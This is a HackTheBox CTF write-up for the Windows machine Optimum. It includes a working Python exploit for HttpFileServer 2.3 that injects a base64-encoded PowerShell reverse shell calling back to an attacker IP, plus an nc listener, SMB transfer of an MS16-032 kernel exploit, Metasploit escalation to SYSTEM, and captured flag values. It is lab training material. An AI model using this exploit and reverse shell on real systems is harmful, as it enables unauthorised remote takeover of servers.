> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md). # Optimum HackTheBox Writeup Optimum HackTheBox Easy Windows writeup covering HFS 2.3 RCE and MS16-032 privilege escalation. {% embed url="" %} {% hint style="warning" %} **Techniques** * HttpFileServer 2.3 remote code execution * Windows host enumeration * MS16-032 local privilege escalation {% endhint %} ## Reconnaissance ### Prepare the workspace Create a dedicated directory for the machine: ```bash mkdir Optimum cd Optimum ```

The `127` TTL suggests that the target runs Windows.

### Discover open ports Scan every TCP port and save the results: ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.5.151 -oG allPorts ``` Nmap identifies port `80` as the only open port.

### Identify the web service Run version detection and default scripts against port `80`: ```bash sudo nmap -sCV -p80 10.129.5.151 -oN targeted ```

The target runs HttpFileServer 2.3. This version has a known remote code execution vulnerability. ```bash searchsploit httpfileserver ```

### Exploit HFS 2.3 Use the following Python script to send an encoded PowerShell reverse shell. Update the listener and target values first: ```bash import requests import urllib import base64 lhost = '10.10.15.2' # Change this lport = '1234' # Change this rhost = '10.129.5.151' # Change this rport = '80' # Change this command = '$client = New-Object System.Net.Sockets.TCPClient("' + lhost + '",' + lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' command_bytes = command.encode('utf-16le') base64_bytes = base64.b64encode(command_bytes) encodedcommand = base64_bytes.decode('ascii') payload = 'exec|powershell.exe -ep bypass -encodedcommand ' + encodedcommand encodedpayload = urllib.parse.quote_plus(payload) url = 'http://' + rhost + ':' + rport + '/?search=%00{.' + encodedpayload + '.}' r = requests.get(url) if r.status_code == 200: print('GET Request Sent') else: print('Failed to Send Request') ``` Start a listener before running the script: ```bash rlwrap nc -nvlp 1234 ``` Run the exploit from your local machine: ```bash python3 rce.py ``` The target connects back with a PowerShell reverse shell.

### Capture the user flag {% code overflow="wrap" %} ```bash type C:\Users\kostas\Desktop\user.txt ``` {% endcode %} * f2f8d68c549c18e1b94d2c99207e3022

## Privilege escalation ### Identify the escalation path Inspect the target operating system: {% code overflow="wrap" %} ```bash systeminfo ``` {% endcode %} The target runs Windows Server 2012 R2.

The host is vulnerable to the MS16-032 x64 kernel escalation. {% embed url="" %} Download the exploit repository and locate the compiled payload: {% code overflow="wrap" %} ```bash windows-kernel-exploits/MS16-032/x64/ms16-032.exe ``` {% endcode %} ### Transfer the exploit Start an SMB server in the directory containing the exploit: {% code overflow="wrap" %} ```bash sudo /home/jordan/.local/bin/smbserver.py share $(pwd) -smb2support ``` {% endcode %} Copy the executable to the target: ```bash copy \\10.10.15.2\share\ms16-032.exe . ```

```bash copy \\10.10.15.2\share\MS16-032.ps1 . ``` The PowerShell payload is unavailable on this host.

### Exploit MS16-032 with Metasploit Use Metasploit as an alternative: {% code overflow="wrap" %} ```bash search ms16-032 ``` {% endcode %}

Select the MS16-032 module and run it against the active session: {% code overflow="wrap" %} ```bash use 0 set SESSION 2 run getuid ``` {% endcode %} The session now runs as `NT AUTHORITY\SYSTEM`.

### Capture the root flag {% code overflow="wrap" %} ```bash type C:\Users\Administrator\Desktop\root.txt ``` {% endcode %} * 0d795fff7eac20e753543b412dfa5c34

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